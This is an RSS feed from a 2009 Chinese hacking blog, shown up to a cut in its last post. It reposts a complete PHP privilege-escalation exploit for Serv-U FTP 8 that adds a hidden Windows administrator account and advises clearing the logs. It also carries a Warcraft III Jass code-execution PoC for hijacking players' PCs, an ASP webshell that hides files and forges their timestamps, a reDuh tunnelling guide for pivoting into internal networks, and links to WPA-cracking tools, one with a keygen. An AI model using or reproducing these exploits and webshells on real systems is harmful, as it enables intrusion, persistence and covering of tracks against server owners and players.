<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>redwolf在路上 - 网络安全</title><link>http://www.redwolf.com.cn/redwolf/</link><description>红狼咖啡吧,红狼,咖啡,redwolf,IT,考试认证,网络,网络安全,BLOG,博客,情感,狼,注册 破解， - </description><generator>RainbowSoft Studio Z-Blog 1.8 Arwen Build 81206</generator><language>zh-CN</language><copyright>Copyright 2005-2008 redwolf.com.cn  Rights Reserved.</copyright><pubDate>Thu, 09 Sep 2010 08:07:54 +0800</pubDate><item><title>Serv-U FTP Server v8 本地提权</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/386.html</link><pubDate>Tue, 11 Aug 2009 01:19:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/386.html</guid><description><![CDATA[<p>作者：<a href="http://www.inbreak.net/show-157-1.html">空虚浪子心</a></p>  <p><strong>发布日期：</strong>2009-08-05    <br /><strong>更新日期：</strong>2009-08-05</p>  <p><strong>受影响系统：</strong>    <br />serv-u8</p>  <p><strong>不受影响系统：</strong>    <br />其他版本不受影响</p>  <p><strong>描述：</strong>    <br />看cnbeta发现su出8这个版本了。    <br />想想以前写过一个7的本地提权。    <br />不知道8有什么安全方面的更改。    <br />下载来研究下，发现居然还是可以提权的，只是su7的那个不能直接用，稍微修改了下执行的流程。</p>  <p>Su8的管理平台是http的，继承了su7的方式。   <br />抓包，分析，发现了以下路程是可以利用的。    <br />1， 管理员从管理控制台打开web页面时，是不需要验证密码的。    <br />2， 管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1”    <br />3， 管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。    <br />4， 管理员添加了用户的这个包和设置权限这个包，是分开的。    <br />所以，我可以抓包然后转换成php的socket连接post出去。    <br />最后在用经典的ftp登陆，exec命令。达到提权。</p>  <p>前面su7已经说了很多，这里简单的说下好了。   <br />.....登陆什么的。    <br />1，获取ID。    <br />2，给这个id添加权限。    <br />3，给这个id赋予用户名，密码，目录，权限。    <br />4，登陆后执行系统命令。</p>  <p>这段代码是不能直接当工具使用的。</p>  <p>&lt;*来源：kxlzx（<a href="http://www.inbreak.net/">www.inbreak.net</a>）    <br />*&gt;</p>  <p><strong>测试方法：</strong></p>  <p><strong>以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！</strong></p>  <pre><code>&lt;?/*serv-u 8 local exp ver 1.0如果你在自己的服务器上发现这个文件，厄。。。那太遗憾了，别来找我。这个文件到处都是，人人都能拿到。*/?&gt;&lt;html&gt;&lt;title&gt;Serv-u 8 local exp ver 1.0&lt;/title&gt;&lt;body&gt;&lt;script&gt;function fun_showDiv(show){document.getElementById(show).style.display=&quot;block&quot;;}&lt;/script&gt;&lt;b&gt;Serv-u 8 local exp ver 1.0&lt;/b&gt;&lt;form id=&quot;form1&quot; name=&quot;form1&quot; method=&quot;post&quot; action=&quot;?&quot;&gt;&lt;p&gt;&lt;a href=&quot;#&quot; onclick=&quot;fun_showDiv('adminpassdiv')&quot;&gt;管理员密码&lt;/a&gt;&lt;input type=&quot;text&quot; name=&quot;admin_pwd&quot; value=&quot;&quot; /&gt;&lt;/p&gt;&lt;p&gt;直接提权！&lt;input type=&quot;submit&quot; name=&quot;cmd&quot; value=&quot;提权&quot; /&gt;&lt;a href=&quot;#&quot; onclick=&quot;fun_showDiv('QAdiv')&quot;&gt;QA&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;?//Global var$port=43958;$host=&quot;127.0.0.1&quot;;$sessionid=&quot;&quot;;$getuserid=&quot;&quot;;$ftpport=21;$ftpuser=&quot;lalala_hacked&quot;;$ftppwd=$_POST['admin_pwd'];$exec_addUser=&quot;site exec c:/windows/system32/net.exe user &quot;.$ftpuser.&quot; &quot;.$ftppwd.&quot; /add&quot;;$exec_addGroup=&quot;site exec c:/windows/system32/net.exe localgroup administrators &quot;.$ftpuser.&quot;&#160; /add&quot;;if($_POST['cmd']) {//login-----------------------------------------$sock_login = fsockopen($host, $port);$URL='/Web%20Client/Login.xml?Command=Login&amp;Sync=1543543543543543';$post_data_login['user'] = &quot;&quot;;$post_data_login['pword'] = $ftppwd;$post_data_login['language'] = &quot;zh%2CCN&amp;&quot;;$ref=&quot;http://&quot;.$host.&quot;:&quot;.$port.&quot;/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1&quot;;$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);fputs($sock_login, $postStr);$result = fread($sock_login, 1280);$sessionid = getmidstr(&quot;&lt;sessionid&gt;&quot;,&quot;&lt;/sessionid&gt;&quot;,$result);if ($sessionid!=&quot;&quot;)echo &quot;登陆成功！&quot;;fclose($sock_login);//login-----------------------------------------//getOrganizationId-------------------------------$OrganizationId=&quot;&quot;;$sock_OrganizationId = fsockopen($host, $port);$URL='/Admin/ServerUsers.htm?Page=1';$postStr = createRequest($port,$host,$URL,&quot;&quot;,$sessionid,&quot;&quot;);fputs($sock_OrganizationId, $postStr);$resultOrganizationId=&quot;&quot;;while(!feof($sock_OrganizationId)) {$result = fread($sock_OrganizationId, 1024);$resultOrganizationId=$resultOrganizationId.$result;}$strTmp = &quot;OrganizationUsers.xml&amp;ID=&quot;;$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,&quot;\&quot;&quot;));fclose($sock_OrganizationId);if ($OrganizationId!=&quot;&quot;)echo &quot;获取OrganizationId&quot;.$OrganizationId.&quot;成功！&quot;;//getOrganizationId-------------------------------//getuserid---------------------------------------$getuserid=&quot;&quot;;$sock_getuserid = fsockopen($host, $port);$URL=&quot;/Admin/XML/User.xml?Command=AddObject&amp;Object=COrganization.&quot;.$OrganizationId.&quot;.User&amp;Temp=1&amp;Sync=546666666666666663&quot;;$ref=&quot;http://&quot;.$host.&quot;:&quot;.$port.&quot;/Admin/ServerUsers.htm?Page=1&quot;;$post_data_getuserid=&quot;&quot;;$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);fputs($sock_getuserid, $postStr);$result = fread($sock_getuserid, 1280);$result = getmidstr(&quot;&lt;var name=\&quot;ObjectID\&quot; val=\&quot;&quot;,&quot;\&quot; /&gt;&quot;,$result);fclose($sock_getuserid);$getuserid = $result;if ($getuserid!=&quot;&quot;)echo &quot;获取用户ID&quot;.$getuserid.&quot;成功！&quot;;//getuserid---------------------------------------//addpower-----------------------------------------$sock_addpower = fsockopen($host, $port);$URL=&quot;/Admin/XML/Result.xml?Command=AddObject&amp;Object=CUser.&quot;.$getuserid.&quot;.DirAccess&amp;Sync=1227081437828&quot;;$post_data_addpower['Access'] = &quot;7999&quot;;$post_data_addpower['MaxSize'] = &quot;0&quot;;$post_data_addpower['Dir'] = &quot;c:\\&quot;;$post_data_addpower['undefined'] = &quot;undefined&quot;;$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,&quot;http://127.0.0.1&quot;.&quot;:&quot;.$port.&quot;/Admin/ServerUsers.htm?Page=1&quot;);fputs($sock_addpower, $postStr,strlen($postStr));$result = fread($sock_addpower, 1280);fclose($sock_addpower);echo &quot;添加权限成功！&quot;;//addpower-----------------------------------------//adduser-----------------------------------------$sock_adduser = fsockopen($host, $port);$URL=&quot;/Admin/XML/Result.xml?Command=UpdateObject&amp;Object=COrganization.&quot;.$OrganizationId.&quot;.User.&quot;.$getuserid.&quot;&amp;Sync=1227071190250&quot;;$post_data_adduser['LoginID'] = $ftpuser;$post_data_adduser['FullName'] = &quot;&quot;;$post_data_adduser['Password'] = 'hahaha';$post_data_adduser['ComboPasswordType'] = &quot;%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81&quot;;$post_data_adduser['PasswordType'] = &quot;0&quot;;$post_data_adduser['ComboAdminType'] = &quot;%E6%97%A0%E6%9D%83%E9%99%90&quot;;$post_data_adduser['AdminType'] = &quot;&quot;;$post_data_adduser['ComboHomeDir'] = &quot;/c:&quot;;$post_data_adduser['HomeDir'] = &quot;/c:&quot;;$post_data_adduser['ComboType'] = &quot;%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7&quot;;$post_data_adduser['Type'] = &quot;0&quot;;$post_data_adduser['ExpiresOn'] = &quot;0&quot;;$post_data_adduser['ComboWebClientStartupMode'] = &quot;%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF&quot;;$post_data_adduser['WebClientStartupMode'] = &quot;&quot;;$post_data_adduser['LockInHomeDir'] = &quot;0&quot;;$post_data_adduser['Enabled'] = &quot;1&quot;;$post_data_adduser['AlwaysAllowLogin'] = &quot;1&quot;;$post_data_adduser['Description'] = &quot;&quot;;$post_data_adduser['IncludeRespCodesInMsgFiles'] = &quot;&quot;;$post_data_adduser['ComboSignOnMessageFilePath'] = &quot;&quot;;$post_data_adduser['SignOnMessageFilePath'] = &quot;&quot;;$post_data_adduser['SignOnMessage'] = &quot;&quot;;$post_data_adduser['SignOnMessageText'] = &quot;&quot;;$post_data_adduser['ComboLimitType'] = &quot;%E8%BF%9E%E6%8E%A5&quot;;$post_data_adduser['LimitType'] = &quot;Connection&quot;;$post_data_adduser['QuotaBytes'] = &quot;0&quot;;$post_data_adduser['Quota'] = &quot;0&quot;;$post_data_adduser['Access'] = &quot;7999&quot;;$post_data_adduser['MaxSize'] = &quot;0&quot;;$post_data_adduser['Dir'] = &quot;%25HOME%25&quot;;$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,&quot;http://127.0.0.1&quot;.&quot;:&quot;.$port.&quot;/Admin/ServerUsers.htm?Page=1&quot;);fputs($sock_adduser, $postStr,strlen($postStr));$result = fread($sock_adduser, 1280);fclose($sock_adduser);echo &quot;添加用户成功！&quot;;//adduser-----------------------------------------//exec-------------------------------$sock_exec = fsockopen(&quot;127.0.0.1&quot;, $ftpport, &amp;$errno, &amp;$errstr, 10);$recvbuf = fgets($sock_exec, 1024);$sendbuf = &quot;USER &quot;.$ftpuser.&quot;&quot;;fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = &quot;PASS hahaha&quot;;fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = $exec_addUser.&quot;&quot;;fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fread($sock_exec, 1024);echo &quot;执行&quot;.$exec_addUser.&quot;返回了$recvbuf&quot;;fclose($sock_exec);$sock_exec = fsockopen(&quot;127.0.0.1&quot;, $ftpport, &amp;$errno, &amp;$errstr, 10);$recvbuf = fgets($sock_exec, 1024);$sendbuf = &quot;USER &quot;.$ftpuser.&quot;&quot;;fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = &quot;PASS hahaha&quot;;fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = $exec_addGroup.&quot;&quot;;fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fread($sock_exec, 1024);echo &quot;执行&quot;.$exec_addGroup.&quot;返回了$recvbuf&quot;;fclose($sock_exec);echo &quot;好了，自己3389上去清理ftp用户日志吧！&quot;;//exec-------------------------------}/** function createRequest@port_post : administrator port $port=43958;@host_post : host $host=&quot;127.0.0.1&quot;;@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&amp;Sync=1543543543543543';@post_data_post : arraylist $post_data['user'] = &quot;&quot;;...@return httprequest string*/function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){$data_string=&quot;&quot;;if ($post_data_post!=&quot;&quot;){foreach($post_data_post as $key=&gt;$value){$values[]=&quot;$key=&quot;.urlencode($value);}$data_string=implode(&quot;&quot;,$values);}$request.=&quot;POST &quot;.$URL_post.&quot; HTTP/1.1&quot;;$request.=&quot;Host: &quot;.$host_post.&quot;&quot;;$request.=&quot;Referer: &quot;.$referer.&quot;&quot;;$request.=&quot;Content-type: application/x-www-form-urlencoded&quot;;$request.=&quot;Content-length: &quot;.strlen($data_string).&quot;&quot;;$request.=&quot;User-Agent: Serv-U&quot;;$request.=&quot;x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)&quot;;$request.=&quot;Accept: */*&quot;;$request.=&quot;Cache-Contro: no-cache&quot;;$request.=&quot;UA-CPU: x86&quot;;if ($sessionid!=&quot;&quot;){$request.=&quot;Cookie: Session=&quot;.$sessionid.&quot;&quot;;}$request.=&quot;&quot;;$request.=$data_string.&quot;&quot;;return $request;}//getMidfor2str copy from internetfunction getmidstr($L,$R,$str){$int_l=strpos($str,$L);$int_r=strpos($str,$R);If ($int_l&gt;-1&amp;&amp;$int_l&gt;-1){$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));return $str_put;}elsereturn &quot;没找到需要的变量&quot;;}?&gt;&lt;/pre&gt;&lt;/form&gt;&lt;div id=&quot;adminpassdiv&quot; style=&quot;display:none&quot;&gt;&lt;pre&gt;默认为空，如果密码为空，&lt;b&gt;填什么都能进去。&lt;/b&gt;如果修改过，管理员密码默认会在这里：&lt;b&gt;C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive&lt;/b&gt;文件中找到一个MD5密码值。C:\Program Files\RhinoSoft.com\Serv-U是su的根目录。密码值的样式为(假设是123456)kx########################代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。破解后的密码为&lt;b&gt;kx&lt;/b&gt;123456，去掉kx就是密码了。你可以针对这个加密生成字典。&lt;/pre&gt;&lt;/div&gt;&lt;div id=&quot;QAdiv&quot; style=&quot;display:none&quot;&gt;&lt;pre&gt;&lt;b&gt;提权的原理？&lt;/b&gt;Su8的管理平台是http的，继承了su7的方式。抓包，分析，发现了以下路程是可以利用的。1，&#160; 管理员从管理控制台打开web页面时，是不需要验证密码的。2，&#160; 管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1”3，&#160; 管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。4，&#160; 管理员添加了用户的这个包和设置权限这个包，是分开的。所以，我可以抓包然后转换成php的socket连接post出去。最后在用经典的ftp登陆，exec命令。达到提权。前面su7已经说了很多，这里简单的说下好了。.....登陆什么的。1，获取ID。2，给这个id添加权限。3，给这个id赋予用户名，密码，目录，权限。4，登陆后执行系统命令。&lt;b&gt;为啥我明明显示成功了，但是却提不上去？&lt;/b&gt;这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。一般有以下几种情况：1，可能是因为管理员密码不对。参照管理员密码的连接。2，可能是因为管理员限制了执行SITE EXEC。有待程序修改，程序可以加一个让他不限制的功能。3，可能是程序问题。&lt;/pre&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;</code></pre><p><strong>建议：</strong>  <br />目前厂商没有任何补丁，要不大家再等等？  <br />不过以前SU7本地溢出推出来，也没见到什么动静。-_-!  <br />先把本地管理密码改复杂点应付着吧。  <br /><strong>Tags:</strong> <a href="http://huaidan.org/archives/tag/serv-u">Serv-U</a>, <a href="http://huaidan.org/archives/tag/%e6%8f%90%e6%9d%83">提权</a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/386.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=386</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=386&amp;key=b2fc2a85</trackback:ping></item><item><title>各大游戏高危漏洞(魔兽争霸、反恐精英)</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/385.html</link><pubDate>Tue, 11 Aug 2009 01:16:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/385.html</guid><description><![CDATA[<p># 鬼仔：这个洞貌似很早以前就出了，暴雪也已经出了补丁，但是   <br />ring04h：暴雪在1.24上，做出了修复工作，但是国内的完全全部都徘徊在1.20版，谁都不会去更新。 对于国内玩家，这个漏洞利用率能够稳定在90%上。</p>  <p>作者：<a href="http://hi.baidu.com/ring04h/blog/item/0b6b172a05ffb3315343c18d.html">ring04h</a></p>  <p><strong>War3 Jass虚拟机经测试，存在严重漏洞！允许运行时动态创建并执行任意机器码     <br /></strong>Jass属于War3为地图开发者提供的一套脚本语言，方便开发者开发或建立修改属于自己的地图。    <br />经过推断，<strong>CS (cstrike)</strong>可能也存在此类问题。</p>  <p><strong>利用方式：</strong>登陆浩方或者VS对战平台，修改某张地图(例如DOTA的地图)，开启游戏，等待其他玩家进入，开始游戏，即可执行任意机器码，控制玩家计算机。</p>  <p><strong>Jass语言的用处</strong>    <br />Jass(正确地说是Jass2)是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位(Unit), 设置的触发(Trigger)等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用.</p>  <p><strong>POC:</strong></p>  <p>set bj_meleeTwinkedHeroes[1024] = 0x90909090   <br />set bj_meleeTwinkedHeroes[1025] = 0x90909090 //and other bytecode giberish.    <br />...</p>  <p>local code C = I2Code( code2I(function GetRandomDirectionDeg) + 0xC92D8 )</p>  <p>call TriggerAddAction(t, C)   <br />call TriggerExecute(t)</p>  <p>//It will run whatever bytecode 90 90 90 90 means</p>  <p>function main takes nothing returns nothing   <br />set t = CreateTrigger()    <br />call TriggerAddAction(t, i2code(0x00929217) )    <br />a[0]=0x45623512    <br />a[1]=0x34562323    <br />a[2]=0x62329301    <br />...    <br />//other thousand lines of this    <br />...    <br />b[0]=0x12312333    <br />endfunction</p>  <p>上图：</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/08/War3_Jass.jpg"><img title="War3_Jass" height="265" alt="War3_Jass" src="http://huaidan.org/wp-content/uploads/2009/08/War3_Jass.jpg" width="600" /></a>    <br />文章标题加上了by ring04h,是说明ring04h将对以上的言论负责，其它稍后再编辑详情，上POC！</p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/385.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=385</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=385&amp;key=9fbb522c</trackback:ping></item><item><title>WPA终结梦魇----GPU运算之高速破解WPA-PSK加密实战 - [Wireless Hack]</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/383.html</link><pubDate>Sat, 18 Jul 2009 01:25:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/383.html</guid><description><![CDATA[<p>作者：longas </p>  <p>现在很多朋友都在学习和研究WPA的破解及WPA PMK Hash破解，关于WPA PMK Hash的创建及使用，我已经在《无线网络安全攻防实战》一书中给出详细操作实例，并且为了给大家提供一个练手的机会，ZerOne安全团队无线安全组也在广州安全交流会上无偿提供给大家高达4.3GB的WPA PMK Hash Table DVD光盘镜像下载（大家可到Anywlan论坛或者我的Blog查看下载地址），呵呵，虽然也受到了一些莫名其妙的指责。但是作为高速破解的途径来说，从一开始，就不止Hash这一种方法，这里我要讲述的就是在未来几年内将会成为主流的破解方法---GPU运算破解。 </p>  <p>关于GPU运算用于无线安全领域，ZerOne安全团队无线安全组已经于2008年中展开自主研发，并已取得一些成果，本文为引导更多朋友了解此类技术所写的基础工具型破解教程，望同一方向的朋友能和我联系，欢迎大家的交流。   <br />好了话不多说，单机环境下只要配合合适的显卡，速度可以飙升到1万以上，若是性能优异的显卡可达到5万甚至更高。关于此类工具的详细安装、操作、破解、问题解答、软件下载内容我已经全部整理成基础破解教程，提供给大家下载。 </p>  <p>文中涉及软件：Elcomsoft Wireless Security Auditor（简称为EWSA） </p>  <p>软件版本：v1.0.0.133版 </p>  <p>支持系统：Windows 2000/XP/2003/Vista/2008 </p>  <p>软件下载：<a href="http://www.elcomsoft.com/ewsa.html">http://www.elcomsoft.com/ewsa.html</a></p>  <p>-------------------------------------------------------------- </p>  <p>详细长达11页的GPU运算破解WPA-PSK实战操作教程，下载地址如下 </p>  <p><a href="http://www.box.net/shared/ygjeeim9ms">http://www.box.net/shared/ygjeeim9ms</a></p>  <p>GPU相关软件EWSA及注册机下载地址如下 </p>  <p><a href="http://www.box.net/shared/h2n1mnhgqq">http://www.box.net/shared/h2n1mnhgqq</a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/383.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=383</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=383&amp;key=c74efdd8</trackback:ping></item><item><title>xKungFoo上的无线安全破解专用WPA-PSK Hash Table DVD下载</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/364.html</link><pubDate>Sun, 03 May 2009 14:52:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/364.html</guid><description><![CDATA[<p><a href="http://creativecommons.org/licenses/by/3.0/deed.zh">版权声明</a>：转载时请以超链接形式标明文章原始出处和作者信息及<a href="http://bangzhuzhongxin.blogbus.com/logs/11205960.html">本声明</a>    <br /><a href="http://bigpack.blogbus.com/logs/31359696.html">http://bigpack.blogbus.com/logs/31359696.html</a></p>  <p>此次由ZerOne安全团队制作的无线安全破解专用DVD光盘，其中包含的WPA 破解 Hash Table已全部经过测试可用，所含SSID均为ZerOne安全团队在对多个省会城市进行多次实地War-Driving无线探测基础上，从汇总数据中精心挑选出国内使用频率最高的前62个SSID整理而成。光盘里除了包含多达40余种8位以上生日类密码组合外，还包括了8位以上普通用户常用密码组合，总容量达<strong>4.4GB</strong>。实为无线安全密码破解测试、无线渗透测试及安全评估之必备利器。</p>  <p>该DVD光盘内除了主要包含的大容量<strong>WPA-PSK/WPA2-PSK 破解用 Hash Table</strong>以外，为方便大家学习及借鉴，还附赠了由<strong>ZerOne</strong>安全团队近年来进行省会城市War-Driving的官方探测汇总报告，此外，还准备了相关<strong>无线安全教程的文档及资源列表</strong>。希望借此给大家研究无线网络安全带来实质性的帮助。</p>  <p>哈，作为<strong>国内第一张无线安全破解专用WPA-PSK Hash Table DVD</strong>，除实用价值外，也极具收藏和纪念意义！！</p>  <p>由于光盘体积过大，所以HTTP下载目前暂不可用，下为目前公开的下载方式及地址汇总：   <br /><strong>WPA-PSK/WPA2-PSK光盘BT下载</strong>    <br />种子一：<a href="http://bigpack.blogbus.com/files/12266612070.torrent">http://bigpack.blogbus.com/files/12266612070.torrent</a></p>  <p>上述种子中的DVD光盘镜像文件已压缩，从ISO压成RAR，大约减少了900M，可为所有下载的朋友节省许多时间</p>  <p>种子文件物征码：60a0cca09203ed9b309c95047f3333acb1661d32 分块大小: 512 KB</p>  <p>种子二： <a href="http://bigpack.blogbus.com/files/12266612980.torrent">http://bigpack.blogbus.com/files/12266612980.torrent</a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/364.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=364</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=364&amp;key=b4726b57</trackback:ping></item><item><title>asp-webshell</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/363.html</link><pubDate>Sun, 03 May 2009 14:50:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/363.html</guid><description><![CDATA[<p>作者：skyfire[B.H.S.T]</p>  <p>隐藏并修改文件的最后修改时间的asp-webshell。</p>  <p>源码：</p>  <pre><code>&lt;%'隐藏并修改文件的最后修改时间的aspshell'原理:通过FSO可以修改文件的属性，比如设置为只读，隐藏，系统等等；FSO中的attributes属性修改文件属性，1只读，2隐藏，4系统文件'&#160;&#160;&#160;&#160; 通过shell.application可以给文件重新设置一个最后修改时间'2009/02/24&#160; write by skyfireresponse.write &quot;&lt;form method=post&gt;&quot;response.write &quot;路&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;径：&lt;input name=path value='&quot;&amp;server.mappath(&quot;/&quot;)&amp;&quot;' size='30'&gt;(一定要以\结尾)&lt;br /&gt;&quot;response.write &quot;文件名称：&lt;input name=filename value='test.txt' size='30'&gt;&lt;br /&gt;&quot;response.write &quot;修改时间：&lt;input name=time value='12/30/2099 12:30:30' size='30'&gt;&lt;br /&gt;&quot;response.write &quot;&lt;input type=submit value=修改并隐藏文件&gt;&quot;response.write &quot;&lt;/form&gt;&quot;'获取提交的参数set path=request.Form(&quot;path&quot;)set fileName=request.Form(&quot;filename&quot;)set newTime=request.Form(&quot;time&quot;)if( (len(path)&gt;0)and(len(fileName)&gt;0)and(len(newTime)&gt;0) )then'通过fso设置文件属性Set fso=Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)Set file=fso.getFile(path&amp;fileName)file.attributes=2+4&#160; '设置文件属性为隐藏+系统'通过shell.Application修改文件的最后修改时间Set shell=Server.CreateObject(&quot;Shell.Application&quot;)Set app_path=shell.NameSpace(server.mappath(&quot;.&quot;))Set app_file=app_path.ParseName(fileName)app_file.Modifydate=newTimeend if%&gt;</code></pre><p><a href="http://huaidan.org/wp-content/uploads/2009/02/crackfile.gif"><img title="crackfile" height="341" alt="crackfile" src="http://huaidan.org/wp-content/uploads/2009/02/crackfile-499x341.gif" width="499" /></a></p>]]></description><category>网络安全</category><comments>http://www.redwolf.com.cn/redwolf/post/363.html#comment</comments><wfw:comment>http://www.redwolf.com.cn/redwolf/</wfw:comment><wfw:commentRss>http://www.redwolf.com.cn/redwolf/feed.asp?cmt=363</wfw:commentRss><trackback:ping>http://www.redwolf.com.cn/redwolf/cmd.asp?act=tb&amp;id=363&amp;key=a0ddbb58</trackback:ping></item><item><title>内网渗透利器--reDuh（webshell跳板）简单使用说明</title><author>redwolf@redwolf.com.cn (redwolf)</author><link>http://www.redwolf.com.cn/redwolf/post/362.html</link><pubDate>Sun, 03 May 2009 14:48:00 +0800</pubDate><guid>http://www.redwolf.com.cn/redwolf/post/362.html</guid><description><![CDATA[<p>作者：<a href="http://www.sai52.com/archives/848/">sai52[B.H.S.T]</a></p>  <p>国外大牛的作品，偶顺手写了个使用说明。E文好的看原文&#160; <a href="http://www.sensepost.com/research/reDuh/">http://www.sensepost.com/research/reDuh/</a></p>  <p>这个工具可以把内网服务器的端口通过http/https隧道转发到本机，形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。</p>  <p>本机-------客户端---------（http隧道）-----------服务端------------------内网服务器</p>  <p>服务端是个webshell（针对不同服务器有aspx,php,jsp三个版本），客户端是java写的，本机执行最好装上JDK。</p>  <p>把客户端文件解包，这里我把它放到E盘的TEST文件夹</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/011.png"><img title="011" height="239" alt="011" src="http://huaidan.org/wp-content/uploads/2009/03/011-500x239.png" width="500" /></a>    <br />图01</p>  <p>把服务端的webshell上传到目标服务器。</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/021.png"><img title="021" height="206" alt="021" src="http://huaidan.org/wp-content/uploads/2009/03/021.png" width="386" /></a>    <br />图02</p>  <p>目标服务器在内网，开了终端服务。</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/031.png"><img title="031" height="413" alt="031" src="http://huaidan.org/wp-content/uploads/2009/03/031-499x413.png" width="499" /></a>    <br />图03</p>  <p>命令行下用客户端连接服务端</p>  <p>E:\test&gt;java reDuhClient 目标服务器域名 http 80 /WEBSHELL路径/reDuh.aspx</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/041.png"><img title="041" height="112" alt="041" src="http://huaidan.org/wp-content/uploads/2009/03/041-500x112.png" width="500" /></a>    <br />图04</p>  <p>新开一个命令行，用NC连接本机1010端口。</p>  <p>H:\&gt;nc -vv localhost 1010</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/051.png"><img title="051" height="96" alt="051" src="http://huaidan.org/wp-content/uploads/2009/03/051-499x96.png" width="499" /></a>    <br />图05</p>  <p>连接成功会有欢迎提示，之后输入命令</p>  <p>&gt;&gt;[createTunnel]1234:127.0.0.1:3389</p>  <p>前面的1234是本机连接用的端口，中间的ip地址是目标服务器的（可以是webshell所在服务器也可以是和它同内网的服务器），后面的3389是欲连接目标服务器的端口。</p>  <p>成功后两个命令行窗口都会有成功提示。</p>  <p><a href="http://huaidan.org/wp-content/uploads/2009/03/061.png"><img title="061" height="121" alt="061" src="http://huaidan.org/wp-content/uploads/2009/03/061-500x121.png" width="500" /></a>    